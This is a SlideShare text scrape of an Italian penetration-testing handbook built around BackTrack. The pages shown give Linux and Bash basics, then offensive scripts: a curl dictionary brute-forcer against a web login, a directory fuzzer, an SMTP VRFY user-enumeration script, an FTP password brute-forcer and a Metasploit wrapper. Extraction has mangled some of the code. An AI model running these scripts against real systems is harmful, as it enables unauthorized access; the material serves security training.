SlideShare a Scribd company logo
LUIGI CAPUZZELLO

Sicurezza Informatica
Black Box Penetration test
Versione: 2.0

Luigi Capuzzello
17/11/2013

http://www.linkedin.com/pub/luigi-capuzzello/7/561/12a
http://www.slideshare.net/luigicapuzzello
@FisherKasparov
luigi.capuzzello

Il documento si propone di analizzare in dettaglio le fasi di un penetration test (information gathering,
ricerca exploit, client side attack, password cracking, backdoor).
La distribuzione GNU/Linux utilizzata come piattaforma di base per eseguire i penetration test è BackTrack.
Backtrack Basic.

Sommario
Backtrack Basic.................................................................................................................................... 3
Services ............................................................................................................................................ 3
Linux: alcuni comandi utili. ............................................................................................................. 5
Basic: mount device / network share ........................................................................................... 5
Installare  aggiornare un programma. ......................................................................................... 5
Elenco comandi comuni. .............................................................................................................. 5
Bash Environment ............................................................................................................................ 8
Variabili ....................................................................................................................................... 8
Passaggio di parametri ................................................................................................................. 8
User Input ..................................................................................................................................... 8
Bash Trap Command ................................................................................................................... 8
Array ............................................................................................................................................ 9
Leggere un file e metterlo in un Array ......................................................................................... 9
if statement ................................................................................................................................... 9
For statement ................................................................................................................................ 9
Arithmetic Comparison ................................................................................................................ 9
String Comparison ..................................................................................................................... 10
Bash File Testing ....................................................................................................................... 10
Funzioni ..................................................................................................................................... 10
Alcuni esempi di comandi interessanti ...................................................................................... 11
python environment ....................................................................................................................... 15
Rendersi invisibili. ............................................................................................................................. 18
iptables ........................................................................................................................................... 18
TORtunnel: installazione ............................................................................................................... 18
TORtunnel: nmap ........................................................................................................................... 19
TORtunnel: hydra .......................................................................................................................... 19
TORtunnel: sqlmap ........................................................................................................................ 19
TORtunnel: firefox ......................................................................................................................... 19
scansione porte ............................................................................................................................... 19
Information Gathering........................................................................................................................ 20
Service Information Gathering........................................................................................................... 21
Nmap .............................................................................................................................................. 21
FTP (21) ......................................................................................................................................... 21
DNS (53). ....................................................................................................................................... 21
SNMP (161) ................................................................................................................................... 21
SMTP (25)...................................................................................................................................... 21
SMB (139 - 445) ............................................................................................................................ 21
HTTP (80) (scanning delle reti) .................................................................................................... 22
Verifica iniziale .......................................................................................................................... 22
XSS: Cross Site Scripting. ......................................................................................................... 23
XSRF: Cross Site Reference Forgery. ....................................................................................... 24
Path Traversal Attack. ................................................................................................................ 24
SQL Injection. ............................................................................................................................ 25
SQL Injection: sqlmap: .............................................................................................................. 25
In manuale .................................................................................................................................. 25
SQL Injection: MySQL .............................................................................................................. 25
SQL Injection: Access ............................................................................................................... 25

Luigi Capuzzello

1
Backtrack Basic.

Exploit: ricerca vulnerabilità note ...................................................................................................... 26
Exploit: eseguire ................................................................................................................................ 26
Nessus e Metasploit ....................................................................................................................... 26
Metasploit autopwn ........................................................................................................................ 26
Metasploit....................................................................................................................................... 26
Meterpreter ................................................................................................................................. 26
da siti web ...................................................................................................................................... 26
Client side Attack ............................................................................................................................... 27
aurora / autoPWN (payload) .......................................................................................................... 27
!!!! iniettare trojan in eseguibile..................................................................................................... 27
smb_relay (payload) ....................................................................................................................... 27
smb sniff password......................................................................................................................... 28
Password Cracking ............................................................................................................................. 29
Online password ............................................................................................................................. 29
John come dizionario ................................................................................................................. 29
Offline password ............................................................................................................................ 30
Cosa fare dopo che ho una shell......................................................................................................... 31
subito … ......................................................................................................................................... 31
con Tftp (no in vista e 7) ................................................................................................................ 31
con Ftp............................................................................................................................................ 31
DEBUG.exe (no 7) ......................................................................................................................... 32
Vb script ......................................................................................................................................... 32
Internet Explorer ............................................................................................................................ 32
wget ................................................................................................................................................ 32
Shell su macchina non routable: ssh tunneling. ............................................................................. 33
Pulire le tracce lasciate. ...................................................................................................................... 34
Network Fun (pwb3.doc) ................................................................................................................... 35
Netcat ............................................................................................................................................. 35
Port redirection: rinetd ................................................................................................................... 35
Encapsulation - stunnel .................................................................................................................. 36
HTTP CONNECT Tunneling ........................................................................................................ 37
ProxyTunnel ................................................................................................................................... 37
SSH Tunneling ............................................................................................................................... 38
Chiave pubblica e privata ............................................................................................................... 38
SSH: configurare con chiave pubblica e privata ............................................................................ 39
Appendice A: Service exploit ............................................................................................................ 40
Appendice B: siti utili. ....................................................................................................................... 41
Appendice C: IRC command. ............................................................................................................ 42
Appendice D: crack WEP/WPA protocol con BackTrack................................................................. 43

Luigi Capuzzello

2
Backtrack Basic.

Backtrack Basic.
La distrubuzione BackTrack consente di attivare e disattivare facilmente tutti i principali servizi e le applicazioni server
che servono per realizzare un penetration test.

Services

ENTRARE IN RETE
Per farlo è necessario settare un indirizzo IP valido
root@bt:~# ifconfig eth0 192.168.0.4/24
root@bt:~# route add default gw 192.168.0.1
root@bt:~# route add -net 192.168.1.0 netmask 255.255.255.0 eth0
Definire il server DNS:
root@bt:~# echo nameserver 192.168.0.1 > /etc/resolv.conf
Eventualmente collegarsi ad un access Point wireless:
root@bt:~# iwconfig eth1 essid sygest key 123451234512341234ABCDABCD channel 11

DHCP:
Se esiste un server DHCP valido allora è sufficiente:
root@bt:~# dhclient eth0

APACHE
root@bt:~# /etc/init.d/apache2 start
root@bt:~# /etc/init.d/apache2 stop

SERVER FTP
Attivo il database del server pureFTP
# pure-pw mkdb
# ln -s /etc/pure-ftpd/conf/PureDB /etc/pure-ftpd/auth/PureDB
# nano /etc/pure-ftpd/conf/PAMAuthentication
Cmbiare ‘yes’ in ‘mp’
E’ ora necessario abilitare il file pdb; per farlo è necessario fermare il server per evitare errori facendo partire servizi
su porte che sono già I uso.
# /etc/init.d/pure-ftpd stop
# /usr/sbin/pure-ftpd -j -lpuredb:/etc/pure-ftpd/pureftpd.pdb &
# /etc/init.d/pure-ftpd start
# chmod 777 /ftphome/
creo un nuovo utente ftp:
1. utente hacker
2. appartenente al gruppo ftpuser
3. con home directory /ftphome/
#pure-pw useradd hacker –u ftpuser –d /ftphome/
Inserisco l’utente creato nel database con
#pure-pwd mkdb
Faccio partire il server FTP
#/etc/init.d/pure-ftpd restart

SAMBA CLIENT
#smbclient macchina_remotacartella – U <utente definito sulla macchina (non di dominio)>
Get: per scaricare i file
Put: per uplodare i file
SAMBA SERVER

Luigi Capuzzello

3
Backtrack Basic.

-

Configuro /etc/samba/smb.conf in modo da condividere una cartella
[global]
workgroup = <gruppo definito sulla macchina>
server string = foo
security = user
load printers = yes
log file = /var/log/samba.%m
max log file = 50
socket option = TCP_NODELAY
[home]
comment = Home Directory
path = /home/luigi/
valid users = sambausr luigi
writable = yes
L'esempio illustrato sopra consente agli utenti sambausr e luigi di leggere e scrivere nella directory
/home/luigi, sul server Samba da un client Samba.

-

Faccio partire samba server
# service smb restart

SSH SERVER
root@bt:~# sshd-generate
(la prima volta)
root@bt:~# /etc/init.d/ssh start
SSH CLIENT

Supponiamo di voler fare un collegamento da ‘mypc’ alla macchina ‘work’ passando dal gateway ‘gate’ (su cui gira
sshd).
Da mypc eseguo:
mypc# ssh –p 10022 –l root –L 7777:work:25 gate cat
Apro una connessione ssh
con utente root su ‘gate’ (porta 10022) ed eseguo il commando cat (che mi consente di tenere la sessione aperta).
–L : ridirigo tutto ciò che mando alla porta 7777 di mypc sulla porta 25 di work.
Attivando il comando mi verrà chiesta la password di root su ‘gate’.
Una volta creato il tunnel lo posso usare da ‘mypc’ con comandi come:
mypc# telnet 127.0.0.1 7777 (mi collega alla porta 25 di work)

TFTPD
Lo faccio partire su una determinate cartella e porta
root@bt:~# atftpd --daemon --port 69 /tmp
Per prelevare file faccio:
#tftp -i <IP remoto> GET <file>

VNC SERVER
Parte sulla porta 5901 e ha bisogno di una password per poter essere acceduto
root@bt:~# vncserver

Luigi Capuzzello

4
Backtrack Basic.

Linux: alcuni comandi utili.
Segue un elenco di alcuni dei comandi linux che vengono utilizzati più di frequente.
L’elenco è molto sintetico; esula dalla seguente trattazione la definizione dettagliata dei concetti di base che sottendo
l’utilizzo dei comandi.

Basic: mount device / network share
#fdisk –l (visualizzo tutti i dispositivi che il kernel vede)
#mount /dev/hda1 /mnt/hda1
#ls -l /mnt/hda1

Installare  aggiornare un programma.
Con codice sorgente:
tar zxvf program.tar.gz
cd to the new program folder
./configure
make
su root
make install
make clean
make distclean
pacchetto rpm
rpm -i /doveeilfile/nome.rpm
rpm -U /doveeilfile/nome.rpm
rpm -e /doveeilfile/nome.rpm

#per installare il pacchetto
#per fare un update del pacchetto
#per disinstallare un pacchetto

pacchetto .deb
dpkg -i ./percorso/nomepacchetto.deb
dpkg -r ./percorso/nomepacchetto.deb
yum e apt-get
apt-get update
yum update

#per installare un pacchetto
#per rimuovere un pacchetto

#aggiornamento del repository (elenco sorgenti /etc/apt/sources.list)
il file per configurare apt-get è in /etc/apt/source.list
#aggiornamento del repository

apt-cache search squirrelmail
yum search squirrelmail

#Ricerca all'interno del database dei pacchetti
# Ricerca all'interno del database dei pacchetti

yum install tcpdump
apt-get install tcpdump

#Installare un pacchetto
#Installare un pacchetto

yum remove tcpdump
apt-get remove tcpdump

#rimuove un pacchetto
#rimuove un pacchetto

svn: sistema di controllo versione Subversion
per estrarre una cartella dal repository (co sta per check out)
mv programming programming-bk
svn co file:///home/mysurface/repo/programming_repo programming
per estrarre un file dal repository
svn export file:///home/mysurface/repo/programming_repo/c/curses/matrix.cc

Elenco comandi comuni.
alias elenco ‘ls –la’

-il comando ‘elenco’ corrisponde a ‘ls –la.

Per copiare parti di memoria e salvarle su file è necessario utilizzare il comando dd..
Ad esempio se voglio salvare il MBR devo utilizzare il comando:
#dd if=/dev/hda of=mbrwindow count=1 bs=512

Luigi Capuzzello

5
Backtrack Basic.

Per ripristinare il MBR danneggiato devo
#dd if= mbrwindow of=/dev/hda count=1 bs=512
Per testare le dimensioni di una cartella posso fare:
#du -ah --max-depth=1 /
Per visualizzare le prime righe di un file:
#head –n <nr righe> file
Librerie dinamiche (.so): ldd - ldconfig
Le librerie associate ad un programma possono essere:

Statiche (.sa):

Dinamiche (.so):
Posso verificare quali librerie non sono caricate all’interno del programma con ldd
#ldd /path/<programma>
Se il mio programma non viene eseguito a causa di collegamenti alle librerie esterne, per risolvere il problema posso
fare in vari modi

#ldconfig

metto il path della libreria che il programma non trova in ‘/etc/ld.so.conf’ ed eseguo ancora ldconfig

metto il path della libreria nella variabile d’ambiente ‘LD_LIBRARY_PATH’
setenv LD_LIBRARY_PATH /Path/alla/mia/library/

Moduli (.ko): modprobe
Per visualizzare tutti i moduli che ho a disposizione:
#modprobe -l
Se non trovo il modulo che mi serve allora devo ricompilare il kernel!
Per caricare un modulo e le sue dipendenze utilizzo il comando modprobe.
Ad esempio se cerco le dipendenze del modulo zd1211
# modprobe zd1211
Per caricare tutti i moduli:
# modprobe -a
Per scaricare un modulo basta (tornando al caso precedente):
# modprobe –r zd1211

rm –r <cartella>
Mi consente di cancellare una cartella e tutte le sottocartelle.
tail –f <nome file>
Visualizza le ultime linee di un file. Con l'opzione "-f" visualizza le ultime righe.
uname
Restituisce informazioni relative a:
# uname –r
la versione del kernel in uso
# uname –p
il tipo di processore in uso
# uname –a
tutte le informazioni
basename - dirname
#basename /usr/idrogeno/ossigeno
#ossigeno
#dirname /usr/idrogeno/ossigeno
#/usr/idrogeno
find /etc –name hosts.* –print
Ricerca file di qualsiasi tipo nel filesystem.
#groupadd mioGruppo
Per creare un nuovo gruppo basta
#useradd mioUtente –c Commento –d /mia Home –g mio Gruppo

Luigi Capuzzello

6
Backtrack Basic.

Creo l’utente ‘mioUtente’ con un commento descrittivo ‘Commento’ con la home in ‘MiaHome’ e appartenente al
gruppo ‘Gruppo’
Per dare una password all’utente farò:
#passwd mioUtente suaPassword
Per cancellare gli utenti e i gruppi uso
#groupdel
#userdel
namei
Scompone un path nei suoi elementi e li analizza uno per uno identificandoli come:

f: il pathname che si sta analizzando;

d directory;

l link simbolico;

s socket;

b block device (dispositivo a blocchi);

c character device (dispositivo a caratteri);

- file normale;

? errore.
Esempi
$ namei /usr/bin/X11
Genera il seguente risultato:
f: /usr/bin/X11
d/
d usr
d bin
l X11 -> ../X11R6/bin
d ..
d X11R6
d bin
[tar – gzip – zip].
#tar –cvf MiaCartella.tar MiaCartella
#tar –xvf MiaCartella.tar
gzip NomeFile
gunzip NomeFile.gz

 ottengo NomeFile.gz
 ottengo NomeFile

zip NomeFile
unzip NomeFile.zip

 ottengo NomeFile.zip
 ottengo NomeFile

grep
#grep Parola /etc/ -r

-cerca ‘Parola’ all’interno di tutti i file di /etc e in tutte le sottocartelle (-r)

Cut - awk
#echo “oggi:dopo:la messa:vado a casa” | cut –d : -f 3 preleva ‘la messa’
cut -d ' ' -f2,3 filename
è equivalente a
awk -F'[ ]' '{ print $2, $3 }' filename
il vantaggio è che posso invertire l’ordine degli addendi:
awk -F'[ ]' '{ print $3, $2 }' filename

Luigi Capuzzello

7
Backtrack Basic.

Bash Environment
La definizione delle principali funzioni dell’ambiente Bash verrà definita attraverso semplici ed intuitivi esempi.

Variabili
#!/bin/bash
STRING="HELLO WORLD!!!"
echo $STRING

Passaggio di parametri
#!/bin/bash
# use predefined variables to access passed arguments
#echo arguments to the shell
echo $1 $2 $3 ' -> echo $1 $2 $3'
# We can also store arguments from bash command line in special array
args=("$@")
#echo arguments to the shell
echo ${args[0]} ${args[1]} ${args[2]} ' -> args=("$@"); echo ${args[0]} ${args[1]} ${args[2]}'
#use $@ to print out all arguments at once
echo $@ ' -> echo $@'
# use $# variable to print out
# number of arguments passed to the bash script
echo Number of arguments passed: $# ' -> echo Number of arguments passed: $#'

User Input
#!/bin/bash
echo -e "Hi, please type the word: c "
read word
echo "The word you entered is: $word"
echo -e "Can you please enter two words? "
read word1 word2
echo "Here is your input: "$word1" "$word2""
echo -e "How do you feel about bash scripting? "
# read command now stores a reply into the default build-in variable $REPLY
read
echo "You said $REPLY, I'm glad to hear that! "
echo -e "What are your favorite colours ? "
# -a makes read command to read into an array
read -a colours
echo "My favorite colours are also ${colours[0]}, ${colours[1]} and ${colours[2]}:-)"

Bash Trap Command
#!/bin/bash
# bash trap command
trap bashtrap INT
# bash clear screen command
clear;
# bash trap function is executed when CTRL-C is pressed:
# bash prints message => Executing bash trap subrutine !
bashtrap()
{
echo "CTRL+C Detected !...executing bash trap !"
}
# for loop from 1/10 to 10/10
for a in `seq 1 10`; do
echo "$a/10 to Exit."
sleep 1;
done
echo "Exit Bash Trap Example!!!"

Luigi Capuzzello

8
Backtrack Basic.

Array
se myHost vale www.target.com
allora splitto e carico in un array
myHost=$1
hostPart=$(echo $myHost | tr "." "n")
for x in ${hostPart[@]}
do
echo $x
done

Leggere un file e metterlo in un Array
#!/bin/bash
# Declare array
declare -a ARRAY
# Link filedescriptor 10 with stdin
exec 10<&0
# stdin replaced with a file supplied as a first argument
exec < $1
let count=0
while read LINE; do
ARRAY[$count]=$LINE
((count++))
done
echo Number of elements: ${#ARRAY[@]}
# echo array's content
echo ${ARRAY[@]}
# restore stdin from filedescriptor 10
# and close filedescriptor 10
exec 0<&10 10<&-

if statement
#!/bin/bash
directory="./BashScripting"
# bash check if directory exists
if [ -d $directory ]; then
echo "Directory exists"
else
echo "Directory does not exists"
fi

For statement
#!/bin/bash
for (( c=1; c<=5; c++ ))
do
echo "Welcome $c times"
done

Arithmetic Comparison
#!/bin/bash
# declare integers
NUM1=2
NUM2=2
if [ $NUM1 -eq $NUM2 ]; then
echo "Both Values are equal"
else

Luigi Capuzzello

9
Backtrack Basic.

echo "Values are NOT equal"
fi
-lt
-gt
-le
-ge
-eq
-ne

<
>
<=
>=
==
!=

String Comparison
#!/bin/bash
#Declare string S1
S1="Bash"
#Declare string S2
S2="Scripting"
if [ $S1 = $S2 ]; then
echo "Both Strings are equal"
else
echo "Strings are NOT equal"
fi
==
!=
<
>
-n s1
-z s1

Equal
not equal
less then
greater then
string s1 is not empty
string s1 is empty

Bash File Testing
-b filename
-c filename
-d directoryname
-e filename
-f filename
-G filename
-g filename
-k filename
-L filename
-O filename
-r filename
-S filename
-s filename
-u filename
-w filename
-x filename

Block special file
Special character file
Check for directory existence
Check for file existence
Check for regular file existence not a directory
Check if file exists and is owned by effective group ID.
true if file exists and is set-group-id.
Sticky bit
Symbolic link
True if file exists and is owned by the effective user id.
Check if file is a readable
Check if file is socket
Check if file is nonzero size
Check if file set-ser-id bit is set
Check if file is writable
Check if file is executable

Funzioni
!/bin/bash
# BASH FUNCTIONS CAN BE DECLARED IN ANY ORDER
function function_B {
echo Function B.
}
function function_A {
echo $1
}
function function_D {
echo Function D.
}
function function_C {
echo $1
}
# FUNCTION CALLS

Luigi Capuzzello

10
Backtrack Basic.

# Pass parameter to function A
function_A "Function A."
function_B
# Pass parameter to function C
function_C "Function C."
function_D

Alcuni esempi di comandi interessanti
Elaboro contenuto pagina web
#!/bin/bash
wget http://www.offsec.com/pwbonline/icq.html -O icq.txt -o /dev/null
grep 'href=' icq.txt | cut -d"/" -f3 |grep icq.com |sort -u > icq-srv.txt

ricavo dal file gli IP (ciclo for)
#!/bin/bash
for hostname in $(cat icq-srv.txt);do
host $hostname
done

chiedo dati all’utente
#!/bin/bash
echo "Please enter Class C IP network range:"
echo "eg: 194.29.32"
read range
for ip in `seq 1 254`;do
host $range.$ip |grep "name pointer" |cut -d" " -f1,5 #prendo il campo 1 e 5
done

Prendo dati all’avvio della shell
#/bin/bash
# Simple Zone Transfer Bash Script
# $1 is the first argument given after the bash script
# Check if argument was given, if not, print usage
if [ -z "$1" ]; then
echo "[*] Simple Zone transfer script"
echo "[*] Usage : $0 <domain name> "
echo "[*] Example : $0 aeoi.org.ir "
exit 0
fi

funzioni e if statement (multisploit.sh)
#!/bin/bash
# execute auxiliary script about metasploit
# the ini file are obtained from a 'search ftp' and a 'seach smb' on metasploit
msfconsole
function myinstr(){
#si="ciao mamma come stai"
#st="mammasss"
si="$1"
st="$2"
sf=${si##*$st}
#echo ${#sf}
#echo ${#si}
if [ ${#sf} == ${#si} ]; then
#echo ">>>>>>>>> stringa NON trovata"
return 0

Luigi Capuzzello

11
Backtrack Basic.

else
#echo ">>>>>>>>> stringa trovata"
return 1
fi
}

if [ -z "$5" ]; then
echo "[*] Execute multi auxiliary scanner on metasploit"
echo "[*] Usage : $0 <Target IP> <Target Port (Nr | x)> <Target SO (linux | windows)>
<auxiliary scanner for (ssh | ftp | smtp | tftp | http | pop3 | smb | snmp | mysql |
mssql | oracle | vnc | custom)> <Threads Number>"
echo ""
echo "[*] Example : $0 192.168.11.145 x linux smb 5"
echo ""
exit 0
fi
echo
echo
echo
echo
echo
echo
echo

""
"============================="
"="
"= TARGET $1:$2"
"= protocol: $4"
"="
"============================="

#echo "so do you want to test $1:$2"
#echo "SO: $3"
#echo "Protocol: $4"
for aux in $(cat "multisploit_$4.ini" | cut -d" " -f4);do
if [ "$2" == "x" ]; then
#No specified port I take the default port
mycommand="$aux RHOST=$1 RHOSTS=$1 THREADS=$5 E"
else
mycommand="$aux RHOST=$1 RHOSTS=$1 RPORT=$2 THREADS=$5 E"
fi
#if SO is linux then I skip all auxiliaries that contain dos or windows
if [ "$3" == "linux" ]; then
skip="0"
myinstr "$aux" "windows"
return_val=$?
if [ "$return_val" == "1" ]; then
skip="1"
else
myinstr "$aux" "dos"
return_val=$?
if [ "$return_val" == "1" ]; then
skip="1"
fi
fi
if [ "$skip" == "1" ]; then
echo "skiping ...$aux"
mycommand=""
fi
fi

#if SO is windows then I skip all auxiliaries that contain linux
if [ "$3" == "windows" ]; then
skip="0"
myinstr "$aux" "linux"
return_val=$?
if [ "$return_val" == "1" ]; then

Luigi Capuzzello

12
Backtrack Basic.

skip="1"
fi
if [ "$skip" == "1" ]; then
echo "skiping ...$aux"
mycommand=""
fi
fi
#salto tutti i fuzzer
skip="0"
myinstr "$aux" "fuzzer"
return_val=$?
if [ "$return_val" == "1" ]; then
skip="1"
fi
if [ "$skip" == "1" ]; then
echo "skiping ...$aux"
mycommand=""
fi
if [ "$mycommand" != "" ]; then
echo ""
echo "executing ... $aux"
/pentest/exploits/framework3/msfcli $mycommand
fi
done

Esempio di utilizzo di curl (user:password)
Dizionario: ftp://ftp.openwall.com/
#!/ bin/ bash
# PAINSEC web login fuzzer used in "How Strong is your Fu?
if [ $# -ne 1 ]
then
echo " Usage : `basename $0 ` <dictionary >"
exit -1
fi
# We loop all over the dictionary
for i in `cat $1 `
do
# We know the user is admin ...
curl -u admin :$i http :// www1 .noob - filter .com/ dotDefender > tmp 2> / dev / null
# " Required " is our blind keyword
if grep Required tmp > /dev / null ; then
echo " Not $i ... "
else
# Good news :)
echo " Found ! $i"
exit
fi
done
rm tmp

Esempio di curl (loop sulle cartelle)
Dizionario: ftp://ftp.openwall.com/
#!/ bin/sh
# PAINSEC , Web fuzzer developed for How Strong is Your Fu?
# Check syntax
if [ $# -ne 2 ]
then
echo " Usage : `basename $0 ` <dictionary > <output file >"
exit -1
fi
echo -n "" > temp . txt
# Loop over all dictionary

Luigi Capuzzello

13
Backtrack Basic.

for i in `cat $1 `
do
# Get the page , dump the header to " header . txt "
curl -D header .txt http :// localhost :8080/ $i > / dev/ null 2> / dev / null
# Write header status to screen and file
echo -n -e "$ittt"
cat header . txt | head -n 1
echo -n -e "$itt" >> temp . txt
cat header . txt | head -n 1 >> temp . txt
done
# Finished , remove temporal files and save no -404 results in output file
rm header . txt
cat temp . txt | grep -v 404 > $2
rm temp . txt

Luigi Capuzzello

14
Backtrack Basic.

python environment
Anche in questo caso la definizione delle principali funzioni dell’ambiente Bash verrà definita attraverso semplici ed
intuitivi esempi.

Connessione alla porta 25 e verifico se funziona il commando VRFY
- socket
#!/usr/bin/python
import socket
import sys
if len(sys.argv) != 2:
print "Usage: vrfy.py <username>"
sys.exit(0)
# Create a Socket
s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
# Connect to the Server
connect=s.connect(('192.168.0.10',25))
# Recieve the banner
banner=s.recv(1024)
print banner
# VRFY a user
s.send('VRFY ' + sys.argv[1] + 'rn')
result=s.recv(1024)
print result
# Close the socket
s.close()

Questo script controlla se un elenco di IP (presi da file di testo) rilascia le email di un elenco di nomi (presi
da file di testo):
- Socket
- Prelevare dati da input
- Lettura da file
- array
#!/usr/bin/python
import socket
import sys
import fileinput
import array
if len(sys.argv) != 3:
print "Usage: smtp_vrfy.py <server_list.txt> <name_list.txt>"
sys.exit(0)
arrip=[]
arrnomi=[]
arrris=[]
# Connect to the Server prelevato da file
for ipsrv in fileinput.input(sys.argv[1]):
arrip.append(ipsrv)
#Controllo ogni nome possibile
for nome in fileinput.input(sys.argv[2]):
arrnomi.append(nome)
for elnome in arrnomi:
for elip in arrip:
print elnome + " " + elip
# Create a Socket
s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
#print ipsrv
connect=s.connect((elip,25))
## Recieve the banner
banner=s.recv(1024)
print banner
## VRFY a user
#s.send('VRFY ' + sys.argv[1] + 'rn')
s.send('HELO test@thinc.localrn')

Luigi Capuzzello

15
Backtrack Basic.

result=s.recv(1024)
s.send('VRFY '+ elnome + 'rn')
result=s.recv(1024)
if result.find('250')>=0:
#ho trovato qualche cosa
print "@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@"
arrris.append(result)
print result
## Close the socket
s.close()
print ""
print ""
print "================="
print "AT THE END"
print "these are the results"
for elris in arrris:
print elris

Questo script fa brute force su FTP
- definizione delle funzioni
- lettura da file
#!/usr/bin/python
import socket
import re
import sys
def connect(username,password):
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
print "[*] Trying " + username + ":" + password
s.connect(('192.168.0.112',21))
data = s.recv(1024)
s.send('USER ' + username + 'rn')
data = s.recv(1024)
s.send('PASS ' + password + 'rn')
data = s.recv(3) #prendo I primi 3 caratteri e basta!!!
s.send('QUITrn')
s.close()
return data
username = "ftp"
f=open(‘pass.txt’)
lines=f.readlines()
f.close()
for line in lines:
attempt=connect(username,line)
if attempt == "230":
print "[*] Password found: "+ password
sys.exit(0)

questo script crea una funzione xor:
- creare e usare funzioni
#!/usr/bin/python
#coded by sinn3r
import socket, sys
## XOR routine
def xorme(data):
input = data
output = ""
for char in input:
tmp = char.encode("hex")
key = "x04".encode("hex")
int_byte = int(tmp, 16)
int_key = int(key, 16)
xor = int_byte ^ int_key
output += chr(xor)
return output
buffer = sys.argv[1]

Luigi Capuzzello

16
Backtrack Basic.

buffer = buffer + "rnrn"
xor_buffer = xorme(buffer)

Luigi Capuzzello

17

More Related Content

What's hot

Beginning game development with python and pygame
Beginning game development with python and pygameBeginning game development with python and pygame
Beginning game development with python and pygameCHREAR
 
01 28008-0004-20050204 forti-gate-200_administration guide
01 28008-0004-20050204 forti-gate-200_administration guide01 28008-0004-20050204 forti-gate-200_administration guide
01 28008-0004-20050204 forti-gate-200_administration guidesarpro
 
10.0 amt admin_guide_eng
10.0 amt admin_guide_eng10.0 amt admin_guide_eng
10.0 amt admin_guide_engAshish Mahajan
 
Manual smart notebook se
Manual smart notebook seManual smart notebook se
Manual smart notebook seecoiote
 
Dell precision tower 7910 manual
Dell precision tower 7910 manualDell precision tower 7910 manual
Dell precision tower 7910 manualBrown22john
 
Forti Gate Ssl Vpn User Guide 01 30007 0348 20080718
Forti Gate Ssl Vpn User Guide 01 30007 0348 20080718Forti Gate Ssl Vpn User Guide 01 30007 0348 20080718
Forti Gate Ssl Vpn User Guide 01 30007 0348 20080718guest75224e4
 
Bb8520
Bb8520Bb8520
Bb8520mukesh
 
Manual de programacion PLC Crouzet Millenium
Manual de programacion PLC Crouzet MilleniumManual de programacion PLC Crouzet Millenium
Manual de programacion PLC Crouzet MilleniumJosé Luis Lozoya Delgado
 
Sony Xperia S Manual / User Guide
Sony Xperia S Manual / User GuideSony Xperia S Manual / User Guide
Sony Xperia S Manual / User Guidemanualsheet
 
Manual smart notebook se mac
Manual smart notebook se macManual smart notebook se mac
Manual smart notebook se macecoiote
 
Celsius M4xx R5xx R6xx, Operating Manual
Celsius M4xx  R5xx  R6xx, Operating ManualCelsius M4xx  R5xx  R6xx, Operating Manual
Celsius M4xx R5xx R6xx, Operating Manualguest35b678
 
Windows 7 Pocket Guide
Windows 7   Pocket GuideWindows 7   Pocket Guide
Windows 7 Pocket GuideSais Abdelkrim
 
Gigaset a58 handset user manual
Gigaset a58 handset user manualGigaset a58 handset user manual
Gigaset a58 handset user manualTelephones Online
 

What's hot (19)

Beginning game development with python and pygame
Beginning game development with python and pygameBeginning game development with python and pygame
Beginning game development with python and pygame
 
01 28008-0004-20050204 forti-gate-200_administration guide
01 28008-0004-20050204 forti-gate-200_administration guide01 28008-0004-20050204 forti-gate-200_administration guide
01 28008-0004-20050204 forti-gate-200_administration guide
 
Ctfile
CtfileCtfile
Ctfile
 
10.0 amt admin_guide_eng
10.0 amt admin_guide_eng10.0 amt admin_guide_eng
10.0 amt admin_guide_eng
 
Manual smart notebook se
Manual smart notebook seManual smart notebook se
Manual smart notebook se
 
Oiu
OiuOiu
Oiu
 
Dell precision tower 7910 manual
Dell precision tower 7910 manualDell precision tower 7910 manual
Dell precision tower 7910 manual
 
Tx16 wx user manual
Tx16 wx user manualTx16 wx user manual
Tx16 wx user manual
 
Forti Gate Ssl Vpn User Guide 01 30007 0348 20080718
Forti Gate Ssl Vpn User Guide 01 30007 0348 20080718Forti Gate Ssl Vpn User Guide 01 30007 0348 20080718
Forti Gate Ssl Vpn User Guide 01 30007 0348 20080718
 
Bb8520
Bb8520Bb8520
Bb8520
 
Manual de programacion PLC Crouzet Millenium
Manual de programacion PLC Crouzet MilleniumManual de programacion PLC Crouzet Millenium
Manual de programacion PLC Crouzet Millenium
 
Sony Xperia S Manual / User Guide
Sony Xperia S Manual / User GuideSony Xperia S Manual / User Guide
Sony Xperia S Manual / User Guide
 
Manual smart notebook se mac
Manual smart notebook se macManual smart notebook se mac
Manual smart notebook se mac
 
Celsius M4xx R5xx R6xx, Operating Manual
Celsius M4xx  R5xx  R6xx, Operating ManualCelsius M4xx  R5xx  R6xx, Operating Manual
Celsius M4xx R5xx R6xx, Operating Manual
 
6010 Us En
6010 Us En6010 Us En
6010 Us En
 
mmaster
mmastermmaster
mmaster
 
Windows 7 Pocket Guide
Windows 7   Pocket GuideWindows 7   Pocket Guide
Windows 7 Pocket Guide
 
Gigaset a58 handset user manual
Gigaset a58 handset user manualGigaset a58 handset user manual
Gigaset a58 handset user manual
 
C2675m c
C2675m cC2675m c
C2675m c
 

Viewers also liked

Viewers also liked (17)

HIPAA Privacy Officers: Who Goes to Jail ?
HIPAA Privacy Officers:  Who Goes to Jail ?HIPAA Privacy Officers:  Who Goes to Jail ?
HIPAA Privacy Officers: Who Goes to Jail ?
 
Cold_War
Cold_WarCold_War
Cold_War
 
SEMESTRARIO TIC
SEMESTRARIO TICSEMESTRARIO TIC
SEMESTRARIO TIC
 
La reconquista de chile
La reconquista de chileLa reconquista de chile
La reconquista de chile
 
Grupo 03 (1)
Grupo 03 (1)Grupo 03 (1)
Grupo 03 (1)
 
Have Leads Forever
Have Leads ForeverHave Leads Forever
Have Leads Forever
 
Programa general
Programa generalPrograma general
Programa general
 
1 química orgânica
1 química orgânica1 química orgânica
1 química orgânica
 
Dumb and dumber to
Dumb and dumber toDumb and dumber to
Dumb and dumber to
 
A case study of irainian practice
A case study of irainian practiceA case study of irainian practice
A case study of irainian practice
 
Universal pictures
Universal picturesUniversal pictures
Universal pictures
 
Històries de tocador. Gisela Macedo
Històries de tocador. Gisela MacedoHistòries de tocador. Gisela Macedo
Històries de tocador. Gisela Macedo
 
Libro de Sumillas
Libro de Sumillas Libro de Sumillas
Libro de Sumillas
 
Camino al 9 de julio- Independencia argentina
Camino al 9 de julio- Independencia argentinaCamino al 9 de julio- Independencia argentina
Camino al 9 de julio- Independencia argentina
 
Mercosul
MercosulMercosul
Mercosul
 
SPS Italia 2016 - Presentazione
SPS Italia 2016 - PresentazioneSPS Italia 2016 - Presentazione
